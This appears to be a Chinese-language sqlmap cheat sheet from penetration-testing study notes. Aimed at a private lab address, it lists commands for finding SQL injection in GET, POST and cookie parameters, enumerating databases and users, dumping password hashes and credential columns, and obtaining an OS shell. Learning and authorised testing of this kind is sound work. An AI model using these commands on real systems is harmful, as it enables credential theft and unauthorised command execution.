注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" -p "id" #-p注入点,检测注入点是否可用
sqlmap.py -u "http://192.168.87.19/index.php" --data "r=default/news/content&id=12" #数据并不在URL中,POST方法使用--data
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --dbs #可曝出所有数据库名称
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --current-db #web当前使用的数据库
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --current-user #web数据库使用账户
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --users #列出sql所有用户
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --passwords #数据库账户与密码
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" --tables #输出所有的表
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" -D 【数据库名】 --tables #-D 指定数据库名
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" -D 【数据库名】 -T 【表名】 --columns #-T:指定要列出字段的表 --columns 列出了所有的列字段
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" -D 【数据库名】 -T 【表名】 -C "username,realname,password" --dump #-C :指定要爆的字段 --dump:将结果导出
获取Webshell(前提已经上传Webshell)
sqlmap.py -u "http://192.168.87.19/index.php?r=default/news/content&id=12" -D 【数据库名】 -T 【表名】 -C "username,realname,password" --os-shell
输入物理路径
执行dir之类的命令
参数放入cookie中:
简言之,id放入cookie中,然后再提交;
所以sql注入需要尝试cookie,sqlmap支持cookie参数的注入检测: